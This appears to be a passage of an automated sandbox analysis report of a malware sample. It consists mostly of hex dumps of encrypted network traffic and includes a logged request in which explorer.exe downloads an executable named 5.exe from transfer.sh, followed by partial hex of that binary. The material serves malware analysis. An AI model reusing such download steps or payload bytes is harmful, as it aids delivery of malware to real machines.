90 da b6 49 b9 cc 26 39 6a 44 c8 84 84 2e 08 0c 31 1d f7 5f 7d 1b ae a0 7d 51 7f 03 dd 1a 87 04 eb 57 b3 0c 2a e9 47 60 
02 be ab 10 a7 62 0c b4 56 74 30 79 4e 15 21 3e ee 90 cb 09 97 f0 b2 c3 ac 2c 7b 21 fe e5 db a2 12 0b 49 38 6d d9 d8 ee 
04 bd ba b6 f4 53 95 0e 5d 60 68 b0 b8 a6 df 46 ba 56 0e c1 a6 6a 8b ef 88 6c bb ab 1f 9a 58 6d ad d5 78 94 a9 86 d6 15 
0f ef 6f b5 50 4f 94 24 bd fe ea 30 0f 6d c4 22 26 65 
Data Ascii: >@*`3qOAg;j[J,_b/yD$*-8-DTFecn"nI+*')wI&9jD.1_}}QW*G`bVt0yN!>,{!I8mS]`hFVjlXmxoPO$0m"&e

2022-01-14 11:23:04 UTC 793 IN Data Raw: 95 3e ad 87 00 22 35 83 85 4f 62 34 e7 9d f4 0d 61 ae 08 a6 df a2 4b fc 68 f4 6b 1d 01 7c ba b5 77 9a 90 89 38 
79 be 27 9a 7a d6 f8 6f a7 4f d8 a0 61 c1 0c 38 46 f0 e7 a1 a2 c5 c8 a4 2d 29 5c 5b ee bf 5a 6e 20 1b 32 16 24 fa 4b 1c b9 
f2 8a ae c7 db b9 0e 85 92 4e f9 b2 c4 33 33 1c 0d 5a 74 4b ff 35 31 1f fd 85 2d d1 bc 7a 3c 24 5e 63 11 35 29 55 db 0b 
04 aa 42 ea 59 d2 5e 92 9f 5a 8d cc 6f 66 54 20 0a 7e d7 49 74 56 ae df 82 46 1d da 89 17 ce ed 84 b3 f6 5b d5 b5 87 82 
9c e1 e5 34 68 7c 5d 64 4e e9 af 56 25 d9 21 46 36 6a 59 1e 78 f5 e2 31 e3 5f 83 46 e4 72 95 9b cc 96 f3 6a 01 0b 88 49 
ae b3 f9 7a 9f b5 40 c0 3b 36 49 44 cd 3d 03 41 ed 4f 3e 71 9c 29 bb 27 b1 92 47 47 e7 a6 b8 52 42 5b 21 f7 88 bd 17 3e 
07 05 ea 10 82 c7 9c f3 53 2a 7d 10 86 76 b2 10 96 
Data Ascii: >"5Ob4aKhk|w8y'zoOa8F-)\[Zn 2$KN33ZtK51-z<$^c5)UBY^ZofT ~ItVF[4h|]dNV%!F6jYx1_FrjIz@;6ID
=AO>q)'GGRB[!>S*}v

2022-01-14 11:23:04 UTC 809 IN Data Raw: 7c 4f a3 2c 45 18 f0 d5 c9 56 f1 55 08 d9 d3 95 c6 b5 39 d2 51 59 fc 0a 2b ed 06 eb 5a 33 cf 35 e7 0b 1b 55 9e 
87 68 56 88 43 97 61 68 36 ab 79 45 37 08 09 24 97 55 5c ae 4b fb 13 32 68 d1 6e 0f 54 d2 2c a4 40 78 2d aa 81 8a 71 81 
22 06 e8 0f b1 30 19 a6 70 8f a1 e0 94 bc e3 e6 24 e7 b6 40 c4 cf 0c 77 ba 75 16 b1 76 db c4 63 d3 36 8f dd 03 d4 99 ab 
d8 4a 5d 21 a2 2f bb c4 ad 10 a4 f6 fd 46 ed 41 cc ca 7a fc 83 8b c6 50 68 72 7d 87 00 35 36 16 29 35 38 c5 d9 d7 d8 73 
aa bd b9 0d 38 ca 31 86 12 0d ec a4 72 cd 8a b0 4c da d1 1c 2c e8 27 aa 14 ea b8 5c ac 51 ad 3d 89 00 f7 a3 b4 bc 4f b0 
14 a9 1e df 62 43 93 04 53 fa ac de d6 4c d3 13 83 96 1b 90 bf ec 7f 2c d9 cc 2e 64 03 ca 9c 9f 4a c7 e8 bb cd da a2 79 
11 26 05 da 23 60 7c b9 79 ce 0d 8d 63 3e ad c6 c7 39 
Data Ascii: |O,EVU9QY+Z35UhVCah6yE7$U\K2hnT,@x-q"0p$@wuvc6J]!/FAzPhr}56)58s81rL,'\Q=ObCSL,.dJy&#`|yc>9

2022-01-14 11:23:04 UTC 825 IN Data Raw: 7d 4c 23 21 d5 c1 05 e4 de ec 86 de 40 33 46 3e a1 b5 f8 10 cb b2 b1 09 d2 51 5b ae b3 02 99 f2 bf d7 10 42 6f
a4 d7 cf 2c 72 66 53 8d b9 5c 40 e3 1c 1b 46 f8 9a 71 b5 04 02 ed c4 93 07 c6 07 b0 df 22 04 e8 67 17 f1 b0 f4 e5 ed 04 f0
7a f9 d7 d3 ed b2 47 91 44 a9 e0 6e dd 36 74 8a 79 21 3a 92 9a 49 cf 9b 7f d3 fd 43 ac 1c 9f 83 78 ce d8 7a 63 50 aa b8 
ea fb ac 02 a3 59 e3 30 0d 9a 4e 4d 3b 83 64 d1 ab a0 e4 83 c0 95 b6 e6 24 67 77 11 11 8a 27 bd 27 7b 3a 30 7b 12 c4 f1 
d9 e0 f6 a6 ba e3 e2 2e 12 0c 8d 6d 9d ab 87 45 9c a3 78 da 3a 4f 44 5c 97 d8 fe 99 e8 23 9c 60 2d 05 ec 93 72 9b 63 09 
d3 6f cd 51 cb a7 de 11 b7 22 57 68 24 37 8d 0a 1d bd a2 62 43 5a e0 3f a8 f4 1a 9c 94 e9 a6 b6 49 35 cc 13 09 f7 21 6b 
ca 50 0f 66 66 52 f1 e7 b4 91 b6 0e 1b 79 d9 45 d3 
Data Ascii: }L#!@3F>Q[Bo,rfS\@Fq"gzGDn6ty!:ICxzcPY0NM;d$gw''{:0{.mEx:OD\#`-rcoQ"Wh$7bCZ?I5!kPffRyE

2022-01-14 11:23:04 UTC 841 IN Data Raw: ff 0b 7a cf ba f6 4f 1f 20 e2 a1 f5 c4 df 3d 7f ff 4c 65 f0 b1 8c 78 2d 75 c5 22 7c 69 90 2a 92 e1 5c 50 94 a1 5b 
f3 a2 f9 d3 1d eb 34 be c1 d8 5c 03 42 2c f8 5b 94 5d b9 a0 cf 32 a0 fd 4d 8d 29 c3 c2 34 6a 64 4b eb 31 50 b4 0c f6 57 ca 
4c 5e 9b de 4d a6 36 58 bc f8 4b 94 24 15 38 b1 8e 25 8c 14 4b b4 9f 95 bb dd f9 d6 1b 1d e0 1b 3e 1b 44 d0 7d 33 30 0e 
23 11 d3 d2 c7 21 c0 f3 48 1b 9f ad 85 f9 8e 07 13 ee 9e e7 f3 bc 10 66 27 d5 f5 18 a5 9b 72 82 92 8a cd e4 8d c9 05 bd 
60 00 9a b6 b8 98 83 a4 1b 7a e7 e3 bb a8 a8 54 2b ed 28 e5 5d 64 7a 65 2e 72 f2 e7 8a 16 01 9f 95 4e b0 29 21 59 bc 
88 9d 4c a3 15 42 ae 8b ce db 68 05 c3 71 aa d8 f4 72 5e 7b 2e 53 b3 de b5 54 40 7c f3 ee 1a eb 2a 79 2f 05 2c 73 06 80 
dd 59 11 d0 aa 8f d0 e3 e1 1e 73 c2 6b cf cf 03 d3 
Data Ascii: zO =Lex-u"|i*\P[4\B,[]2M)4jdK1PWL^M6XK$8%K>D}30#!Hf'r`zT+(]dze.rN)!YLBhqr^{.ST@|*y/,sYsk

2022-01-14 11:23:04 UTC 857 IN Data Raw: c7 bc 58 65 39 69 5f 51 1f b1 e0 19 85 05 1b ee 05 4a aa b9 ea f0 0a f0 02 79 09 8c b3 9a 18 da bb f1 c4 14 d8 
80 c6 1c 0c 6d 64 28 b1 a1 9b aa b2 d2 ec 75 32 52 ad 73 33 b8 2c 30 d5 22 04 e1 91 b8 06 dc ab a6 01 e5 41 2a d1 c1 
25 85 67 e2 ed 4c 9e b7 24 a6 b1 3b a7 66 ea 01 5b fc d1 a6 08 35 6d 14 34 b1 aa 81 15 fe 69 5c bc be e3 b0 f1 3c 34 05 
5d 47 1a 10 c3 c2 9e 2f 58 51 35 02 1c fe 01 ef 8c a1 5c 7c 12 5d de 42 a3 75 19 b3 8e 73 d3 77 62 7e 4e b4 f3 b8 6b 99 
0d 25 94 1a 01 f4 8f 6b 2e c9 ca 6a e1 ea 8b 54 a3 27 8f 5c fe 28 fc ee 31 09 12 2f db 99 17 66 dd f6 91 4f 3f 3b 5b 6b c2 
90 76 a8 fd de 9f c8 ab c8 f5 87 47 0a 77 1d 8d 48 4b db ed 04 46 5d 8e 03 de 83 a9 97 1e 72 31 c4 2d a6 ec 0c bc 70 64 
16 22 c5 86 52 bd f7 b0 0d 68 25 40 bc 38 65 6f b2 8b 
Data Ascii: Xe9i_QJymd(u2Rs3,0"A*%gL$;f[5m4i\<4]G/XQ5\|]Buswb~Nk%k.jT'\(1/fO?;[kvGwHKF]r1-pd"Rh%@8eo

2022-01-14 11:23:04 UTC 873 IN Data Raw: 3e 87 9a 22 55 c2 ab 43 19 e7 89 cf ab 2c 0b 2c 65 49 30 01 c7 ef c9 e6 fd 70 78 27 ed a9 1e 34 f6 3f ac 57 43 
12 e2 2d 9a 67 c2 da 23 7a 78 be 4f 44 87 36 9f 5c b4 54 98 af 38 f0 84 b0 17 8f d9 a2 46 d1 c8 71 61 32 14 8f 22 07 17 
cd 74 44 c0 4d 75 6f 93 7f 96 73 2e 5b e2 9f 72 70 0e 6e bb 6f 28 09 76 c0 c4 c2 a1 c4 4b 3a c8 5d 3a e7 e0 a1 a6 2a 0c 
84 bb b3 13 04 65 12 ee 9f 1f 6c a6 6e a4 60 f9 8d 8b c8 ee 6c a3 6f 25 92 40 cb 28 2a e8 74 ec 77 d2 f0 47 3f 1a b9 b6 df 
eb f1 28 5f ee 23 21 fb 1b 00 d8 6a 0e 13 ee be e3 16 de a4 ec 5f d3 67 69 95 39 94 a8 4e 3e b1 79 b9 aa 50 55 ed 55 86 
a0 ee 18 77 59 f4 a5 4d 2d 52 e4 1c d0 86 0c d0 d2 57 a6 c4 fa cf 40 01 3f 8e 54 6a fe 53 23 74 df 7a 6b b8 61 31 8a 3d 
7a bf a8 f8 7f 9e f6 01 a7 2b 65 05 5f 0a c8 9b 71 
Data Ascii: >"UC,,eI0px'4?WC-g#zxOD6\T8Fqa2"tDMuos.[rpno(vK:]:*eln`lo%@(*twG?(_#!j_gi9N>yPUUwYM-RW@?
TjS#tzka1=z+e_q

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.5 49892 144.76.136.153 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2022-01-14 11:23:07 UTC 886 OUT GET /get/uq3XSe/5.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh
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2022-01-14 11:23:07 UTC 886 IN HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 14 Jan 2022 11:23:07 GMT
Content-Type: application/x-ms-dos-executable
Content-Length: 3576320
Connection: close
Content-Disposition: attachment; filename="5.exe"
Retry-After: Fri, 14 Jan 2022 12:23:08 GMT
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10
X-Ratelimit-Rate: 600
X-Ratelimit-Remaining: 8
X-Ratelimit-Reset: 1642159388
X-Remaining-Days: n/a
X-Remaining-Downloads: n/a
X-Served-By: Proudly served by DutchCoders

2022-01-14 11:23:07 UTC 887 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 fa 8b e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 
0e 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 53 00 00 04 00 00 bb 21 37 00 02 00 00 81 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELa$@@S!7

2022-01-14 11:23:07 UTC 902 IN Data Raw: 5c 11 ac 72 40 cf b1 1f ec ab 46 b2 51 e6 ae 8d 43 98 27 86 e6 af 9b b0 a6 27 1c 35 90 95 c5 32 f0 09 fd ca c2 
68 bd 21 95 5c bb 3d fa f2 09 8e 63 70 99 fd fe 66 6b a7 c9 47 2c 73 f5 bd 47 14 78 08 70 54 8b 71 85 77 ee 72 96 a5 98 
b2 3c 1c c2 83 35 0e 58 5a e7 59 0c e3 12 71 12 6b 97 b5 a6 17 5f ce 4c 14 7c 15 4e c3 34 f9 f5 6a 65 c9 a4 1a 90 69 f5 
3c d4 cd e9 3e 94 70 5d 06 98 ff d7 f9 b8 f7 8a f7 cf d4 41 15 1a 10 24 ec 44 4d 14 4e 9f ce 96 02 95 f1 e4 3b ad 3a d1 6c 
04 de 64 a1 da 56 4a 42 4b 95 af 7d 1c dc df 5a 2f d5 ff 69 5d 8c 7d 3f 48 cd e2 f7 1e ed 02 6d a0 b6 a5 12 0f 84 e9 ff f9 5c
0a 8b b6 c6 e5 fb d8 af f0 52 85 2b b2 8a 2e 27 06 29 52 62 49 6a dc 1e ef 21 a0 c7 94 b5 c0 c3 ec a7 42 a1 2f 23 89 a4 
53 63 b2 4d 6a 14 02 25 b3 c0 d0 ae cf e2 9a 
Data Ascii: \r@FQC''52h!\=cpfkG,sGxpTqwr<5XZYqk_L|N4jei<>p]A$DMN;:ldVJBK}Z/i]}?Hm\R+.')RbIj!B/#ScMj%

2022-01-14 11:23:07 UTC 918 IN Data Raw: b3 79 b2 0c 50 d9 b1 6b 57 1e 38 e9 eb ba 2b 4d 27 df ca c2 ff d7 32 5d 8f cf 08 89 4e c8 a8 51 77 65 9a ac 24 
aa e1 94 95 12 24 a9 79 48 85 50 8a 1f 8d f8 20 00 8c 0d 89 f7 96 4c 9e 32 d7 1e 1e 70 3e a0 71 b3 e0 0c 13 5d 06 05 36 
b0 39 02 24 10 36 b1 1a 95 6d 5d 97 ac e6 ac 52 53 3e de 18 c6 1a 32 cb df 70 22 1e 26 7a da 90 f0 41 93 e5 6b ef 87 e1 
66 74 b2 2e f9 cb 9a 25 af 1f cf b4 a9 40 2c 06 09 d9 6d 7d 5c 2d 6d 23 de c5 ed 87 b2 51 90 fd 25 af 7e 99 db 55 32 f6 da 
96 ac 7e 8e 6d 2f 7b e8 db 77 7a c1 fb 52 2c 0f a0 0e b7 3a d4 67 91 05 23 d4 11 0a 8a 81 f4 05 a0 a8 f1 cc 0f 33 0d 8c 
36 14 69 6f 8a 70 0b 4c 8d f4 88 2d d0 7c 75 6a 86 f8 c0 55 b8 21 da c2 d8 d6 84 f0 48 e3 0b fa 85 32 89 a0 cd cd 87 8f 77
7a cd 16 29 82 18 70 65 35 dd 57 50 c1 7b d3 08 
Data Ascii: yPkW8+M'2]NQwe$$yHP L2p>q]69$6m]RS>2p"&zAkft.%@,m}\-m#Q%~U2~m/{wzR,:g#36iopL-|ujU!H2wz)p
e5WP{

2022-01-14 11:23:07 UTC 934 IN Data Raw: 88 28 67 60 8e d0 d7 0b fd d2 5e 6b a8 9d 4c 79 9d 37 5d 99 6f 5c a6 23 08 6e 53 c5 8e c6 95 a4 ef 00 57 85 
22 40 d6 c7 e7 f3 61 70 0b 96 3c b6 43 18 9c 0c d1 a5 27 3e ee 33 6c bd 99 34 6d 4e ca ab 6e f7 30 4d 54 fc a2 67 71 a1 
5e 85 67 ba 2a e1 17 91 50 be b9 7c 30 db f6 83 b3 86 9b 54 c9 d7 82 35 49 7b f6 47 e7 0e 0e 8a 96 c4 77 51 eb d9 58 44 
4b 7f 45 86 30 42 94 50 4b 2c 0c 7c c9 6c 83 06 9b 4d eb 22 5f c3 a6 8a f1 60 9d 3d 28 a9 a7 cf c8 54 82 b1 45 77 3e 3d 
10 bd c2 6f 29 66 f7 02 84 73 bd 94 b5 bb 3b 7c 23 b7 76 5a 84 6a 4b bc df ab e9 14 d8 66 63 a8 e8 d5 83 5a 3c 30 a2 20 
d8 86 3f 0b 60 9a ed 85 04 18 25 1c 1e ab 13 a7 0f 85 83 f8 47 c3 76 77 64 0b b2 a2 61 53 f8 5c 73 5b 2a b2 97 25 77 08 
24 0d 73 c5 0f d9 1a 89 5f 95 41 6d bc 46 2f 4b 35 18 11 
Data Ascii: (g`^kLy7]o\#nSW"@ap<C'>3l4mNn0MTgq^g*P|0T5I{GwQXDKE0BPK,|lM"_`=(TEw>=o)fs;|#vZjKfcZ<0 ?`
%GvwdaS\s[*%w$s_AmF/K5

2022-01-14 11:23:07 UTC 950 IN Data Raw: f0 a9 77 8b 4a 6c 7f 46 f6 88 8d 6b 49 bc f9 3e 03 7b 3e de 42 b8 bf 53 22 c5 51 cf 69 aa 06 18 32 71 e1 5d 41 
20 a6 82 bd fa 3d 34 4a e5 85 c7 64 6f 24 3e ca d8 28 17 e4 16 8b a6 73 5b 4b a4 9b 56 4e de 3c 91 8f 3d c1 21 00 93 fc 
50 ee b3 9a b5 84 df ce 44 fb 4c 08 3b 52 64 17 d9 ea d6 51 39 d1 6b 0f 03 4f c9 d3 a5 ef 32 c9 5f b5 a6 c6 58 54 ab a9 ad 
c4 1f 09 59 f1 7d 25 a0 39 17 5b 78 79 c3 7d 7e 4d 52 26 41 12 2e 73 a8 0f c7 9a 32 14 66 28 7f 8b 10 e4 28 49 ae 80 44 
bd 02 ea 7d bd ed b1 0c 89 1b 22 c5 10 d0 3d f0 b2 a6 f8 45 a6 f0 b5 42 c8 0b 2e f5 92 3c 17 97 42 7d 57 b4 36 91 a8 1f 
c6 63 b5 3e 13 94 5a 77 a5 56 a5 18 71 93 fa 9a c2 6e 1a 26 1d 6c d3 d9 66 31 be 82 4b 72 40 c9 5b 08 53 54 49 ed 50 
b3 ae 97 d0 6f a9 61 b4 1e fd 93 53 3a 8c e0 ce 43 1b 
Data Ascii: wJlFkI>{>BS"Qi2q]A =4Jdo$>(s[KVN<=!PDL;RdQ9kO2_XTY}%9[xy}~MR&A.s2f((ID}"=EB.<B}W6c>ZwVqn
&lf1Kr@[STIPoaS:C

2022-01-14 11:23:07 UTC 966 IN Data Raw: 1e 54 9d 7a 40 55 70 0d fe 41 fa 29 de 72 6c f5 79 cc ed 71 31 45 79 08 53 b2 f0 b6 c0 49 1a 02 93 bd 7d 02 
45 08 6b 28 5d d1 98 a0 6a cf af c5 61 03 9d d4 d7 17 5a ed 65 ea af 6b dd 3e 6a 32 ee 64 f2 59 39 de d5 05 6a 55 f5 4c 
82 e5 81 97 c9 31 9d 40 7d 3f aa 79 d2 0b f4 71 7f 07 79 7f ef 4a 6f 6c cf d4 90 27 b6 56 9f 61 2d 0e e4 21 f6 5b bf 80 b0 
28 7b df c0 f1 63 f7 1e b6 3d c0 8b e2 9c c8 71 30 6e 6c b6 da 26 46 39 25 f1 79 87 4a fb 7b 99 56 95 44 b6 9f d5 c2 a3 69
ff ef 97 43 42 7b ef 00 3c 2e ca c6 33 2d c1 86 2f db 2d b2 b1 74 a4 d2 7f 01 7d 0e 57 c3 4f ce c6 13 41 c4 c5 72 5a 8b f4 
3d a5 27 c5 23 a9 26 5b 7d d6 0a 5a c3 32 c5 3b 86 2d 8c fd 0d db 58 39 3f 45 12 3e d8 0d db 9a c6 ab a0 97 c1 8f 32 78 
55 c3 b3 b0 e6 c5 f7 a1 04 6f 72 7a 45 3d 3c 46 
Data Ascii: Tz@UpA)rlyq1EySI}Ek(]jaZek>j2dY9jUL1@}?yqyJol'Va-![({c=q0nl&F9%yJ{VDiCB{<.3-/-t}WOArZ='#&[}Z2;-X9?
E>2xUorzE=<F

2022-01-14 11:23:07 UTC 982 IN Data Raw: 71 5d 06 b9 94 07 ba a1 64 6b 8c 37 e2 77 87 b2 d0 30 06 68 9c 8d 5f b4 b0 d0 c4 23 36 01 5c b8 eb 75 33 06 
d5 57 9b 8a 20 8c e8 f8 d9 2e 20 3c 08 b3 06 18 2c 21 77 1b fd 8f a7 5d ca 75 92 c9 57 2e a9 a2 b1 09 00 56 70 96 25 3c 
66 8a ec 3a 57 51 1e f8 94 12 2c ce a0 40 73 01 1c 3b 21 27 8c c6 71 20 8e 07 2f d1 13 71 3f 06 66 79 da 5f 07 f2 7e 50 
a7 42 32 c5 ec a7 04 e1 bd a4 77 26 ba 99 06 6a 3b 1c 59 ee 75 e9 ac 17 45 be c7 8e c0 4e 32 4d e2 8d a9 67 b2 f4 53 
45 f9 ab 64 eb d1 01 d9 02 6c d8 db 50 1e 8c a6 9a fe 0e 17 8e 1b 7f ac ac f5 81 35 1a c8 5d a9 df a4 a8 bd e3 09 65 2b 
4a 51 30 c7 4c a4 98 b9 69 26 23 cb 51 e0 9e d6 72 5f d8 3a 19 a6 55 e6 53 3c b4 e7 70 18 19 76 1f 04 4d ae 3f 40 db 93 
70 4b 0a 74 5e 48 57 37 1d d6 dd 2d 1d 35 10 98 fa f5 59 4a 
Data Ascii: q]dk7w0h_#6\u3W . <,!w]uW.Vp%<f:WQ,@s;!'q /q?fy_~PB2w&j;YuEN2MgSEdlP5]e+JQ0Li&#Qr_:US<pvM?
@pKt^HW7-5YJ

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 998 IN Data Raw: 99 df 9d a9 14 69 15 ec d4 d2 12 35 8c a3 22 d7 fc 4c 26 dd c9 12 ea 1b c0 c8 e2 d6 1a ef 6d c2 b1 ae 58 97 f3 
4a da 62 39 a3 0a 02 0c f2 d2 e6 0c 35 6f 62 82 9c d1 ac 38 c4 de 2c 72 2a e1 4b 39 4b f4 e8 54 9d e6 47 b8 fe ad fe 89 
eb c2 e0 b7 0f 6d d1 13 6e 1c b9 4c a3 d3 e6 ae 2f 0a c7 48 8c 08 a5 ed dd 4c 32 d4 65 8e 0e 45 74 c3 51 63 f1 3c ec 91 
a7 c1 da 70 9c fa 28 38 f1 5b 56 bc 33 8f 06 dc ac 5f f9 85 94 14 91 50 ee 53 8b 32 86 c4 8a 62 11 bd 57 80 3b 6c 54 2f 51 
cc bd 5f ac f9 da 1a ea 6d 8e 0c 10 ed 13 88 dd 63 d8 d5 cd 04 61 e3 a6 bf bf e9 6c ca 0e b2 d9 65 85 14 30 f3 f5 45 f6 70 
02 dd 16 d7 40 87 49 9a 31 03 a8 d3 71 36 7f 35 b6 b7 05 9a 33 31 bf 05 a9 8a 9f 72 d6 8b 9c 1d ad 70 b5 10 06 f0 90 43 
74 d6 3c ee 84 52 e4 b7 76 84 41 25 c0 0e 33 4e 
Data Ascii: i5"L&mXJb95ob8,r*K9KTGmnL/HL2eEtQc<p(8[V3_PS2bW;lT/Q_mcale0Ep@I1q6531rpCt<RvA%3N

2022-01-14 11:23:07 UTC 1014 IN Data Raw: 90 cd bd 74 a9 e8 c1 b3 9a 52 b0 55 2a 06 32 59 81 60 4e 8c 68 8e bd cd 1e a6 e6 0e bd 2c 9a a9 ad 41 b1 18 
7d b6 d1 ca b7 af e0 e0 06 01 4c de e6 a3 6a a9 50 e9 7b cd ce d6 bd d4 23 6e 26 e2 c5 2d 34 4b 8c d4 f2 56 a3 db a3 1b 
b1 44 19 9e 0a ce 8f e6 2a c0 bb df a3 f4 f0 1e 74 23 3f e4 2a 84 a3 28 55 95 09 26 ad 4f ff 1b 9e 46 7b a7 8e cc 45 10 5b 
0e 38 a0 27 bf 13 93 7a 89 9f 31 43 af 7f 24 e1 b6 6d 0f 03 df 0f 1b 30 fb 52 4b d3 f9 69 7a b4 6b fe 09 26 43 1a 98 72 53 
3d 55 70 00 44 38 cf 26 51 63 94 97 93 e2 a7 c0 2a 18 f4 c7 9d ab 72 d2 44 15 2f f3 f7 58 30 6c 45 34 fd 85 c7 ad 00 44 2a
62 c5 4b 05 d1 74 17 c2 e4 d7 0a f0 e4 11 4f ff 64 cd d3 5f 9f 36 f4 26 e1 55 af 08 10 5f 25 3e ed 1c 7c ed 82 a5 3e bd 51 
10 1a 72 bd 15 63 a8 0e eb 35 59 62 79 29 c7 
Data Ascii: tRU*2Y`Nh,A}LjP{#n&-4KVD*t#?*(U&OF{E[8'z1C$m0RKizk&CrS=UpD8&Qc*rD/X0lE4D*bKtOd_6&U_%>|>Q
rc5Yby)

2022-01-14 11:23:07 UTC 1030 IN Data Raw: d5 d8 47 45 ca 84 8c 87 55 6a f5 49 f2 99 f0 c8 e9 61 09 f9 f5 e6 fb e0 3b bb 66 1e 17 ae 13 a4 c8 e8 a9 54 c7 
f7 6a 58 ca 32 17 bc e2 9f 48 ac 92 2b 33 b9 4f 0e c1 90 ab a1 c9 95 5f 51 41 b0 bf 8e 5e e2 59 5a 34 4e 64 24 2d af f5 9d 
75 d2 14 b7 0d 9a a5 66 1b 12 8d 0c 0c 45 f4 ee a4 23 4c 92 79 f1 67 03 6f ca f3 37 95 e7 38 07 76 0f 55 5c 98 76 6e 04 
b1 4e ae 75 6e 14 42 73 97 40 60 bf 6b 06 6d 9f d2 7a 28 3e b0 70 22 7e 11 f0 3a cd c1 52 19 28 79 25 13 16 0b 2f b1 72 
0c d8 a3 ee af 2b ba cd aa dd 06 cf d8 4e 04 ca c7 20 aa 7f a2 4a 3e d5 91 c1 3c 54 ea e1 b5 2a 1f e4 77 7a ca a2 71 95 
da 01 bc 89 76 5f 45 af a0 08 50 f1 0a 2d 50 e5 81 7f 39 c6 85 5a 2f e7 dc 65 41 40 2b d6 1a e5 8f 4b 9c 92 8c aa 4b 9f 06 
e4 e6 af 22 3f a1 05 18 79 17 83 e3 cd f8 2b 34 
Data Ascii: GEUjIa;fTjX2H+3O_QA^YZ4Nd$-ufE#Lygo78vU\vnNunBs@`kmz(>p"~:R(y%/r+N J><T*wzqv_EP-P9Z/eA@+
KK"?y+4

2022-01-14 11:23:07 UTC 1046 IN Data Raw: 70 93 17 14 40 dc a1 fc bd f8 c6 8a e3 e4 ee 56 f9 e7 5c 61 8c 82 63 ee 2b 5e dc 14 94 f6 c7 f8 77 46 7c f6 c2 
50 d0 e2 9e ef 16 40 62 76 4a 1e 21 a3 75 b0 e8 ae 07 7c bb bd 86 ca 9c 76 aa 56 7a 8b 72 ba 6b cb 3a 6f 59 f1 92 b5 84 
8e be 35 02 08 08 bf 57 9f 2f a5 f4 34 17 5e b1 2b 65 28 b2 46 b9 79 8f 4e 19 ad b8 fd 32 28 53 c4 9a 3f 37 1d c0 1e d3 2c 
48 12 3a 59 14 07 ab b4 03 0d 01 e0 71 30 dd 3d 43 45 f4 02 ad e3 26 11 2f c0 d2 89 20 76 77 e5 81 e1 f9 eb 65 8d 31 8f 
2f 59 11 00 ce 37 04 2a a1 02 c8 2c 72 16 71 d7 a3 4c 9e 88 30 84 bc d2 aa b2 da dc 16 21 ef 2f 1b 7c 95 92 16 01 3d 9a 
b8 08 eb 01 77 1e c6 23 a3 38 97 8e 7c 1d 99 2e c6 f2 d2 53 f8 e7 0f 68 4f b6 a1 42 e0 df d6 4f 77 f9 ac a4 73 3f 3e bc 20 
3e d5 c9 b5 ec a6 17 78 c8 d5 a2 57 d3 0c bc 61 
Data Ascii: p@V\ac+^wF|P@bvJ!u|vVzrk:oY5W/4^+e(FyN2(S?7,H:Yq0=CE&/ vwe1/Y7*,rqL0!/|=w#8|.ShOBOws?> >xWa

2022-01-14 11:23:07 UTC 1062 IN Data Raw: f9 9a ab ea dd f1 d4 ea 61 59 13 ca ad 6b fa 99 29 9e 7b 0b 3f d8 47 57 52 63 17 23 41 3b 51 4d 4c c6 ab 9d 
10 b6 48 c3 8c 30 10 b8 2a 7f 68 05 30 da 06 d5 28 37 69 42 1c 62 2b cf 23 67 a2 27 43 29 a7 98 c8 32 7a cb a2 27 8a 79 
78 df 39 7b f4 18 8f 58 a2 85 d7 92 f3 c8 5b 5d a4 5a 6c 8e 19 37 0c 05 24 c0 29 8a 20 29 67 19 b6 f9 74 62 e1 d5 a0 a6 
52 d2 be 54 31 ff 44 7d 27 0b 01 51 8b 40 99 0c 9a c8 69 f2 81 1f 6d 19 6a 39 20 51 94 c4 a1 28 a3 c6 ee e2 cf 0f 82 d1 
bd c5 4b ae b3 25 77 3d 1d 38 3e f0 2e 29 0a df 79 f8 93 8f 74 13 c6 a6 54 33 89 5c 60 1a df 2a c2 23 0a 9b bc 79 bc 06 
56 a1 d7 e1 58 ae 4e ff 03 89 84 00 9d 7d 54 e6 71 c4 ff 9d cd 6f 45 fd ba e7 ec 5a b3 17 40 66 b7 89 0e 9a f0 43 6d 88 99 
b7 0a c1 35 cc 1e eb 57 1d d1 90 92 24 0b 0a fd ab 48 
Data Ascii: aYk){?GWRc#A;QMLH0*h0(7iBb+#g'C)2z'yx9{X[]Zl7$) )gtbRT1D}'Q@imj9 Q(K%w=8>.)ytT3\`*#yVXN}
TqoEZ@fCm5W$H

2022-01-14 11:23:07 UTC 1078 IN Data Raw: 61 a8 03 e6 a5 a4 16 44 0c 0e 35 24 29 31 c6 68 ca ec 14 2b 3e ca 9f 67 df 2b 13 b1 62 e8 0a 77 ec 4c 3f 54 
6b 55 f4 45 be 0f 31 63 c4 d9 b8 3d d1 07 92 61 73 16 c9 38 08 ea 54 14 1d c3 3c 00 be 66 ee 47 11 fb 6b e9 27 6c 73 80 
0f 31 97 80 13 17 ce cf 8a f8 f0 ce 2c 13 44 d4 31 1c 9f 52 ce c6 44 ff 78 48 cc ac 2d a7 b7 d3 d9 47 6d 9c 06 26 2a fd f0 
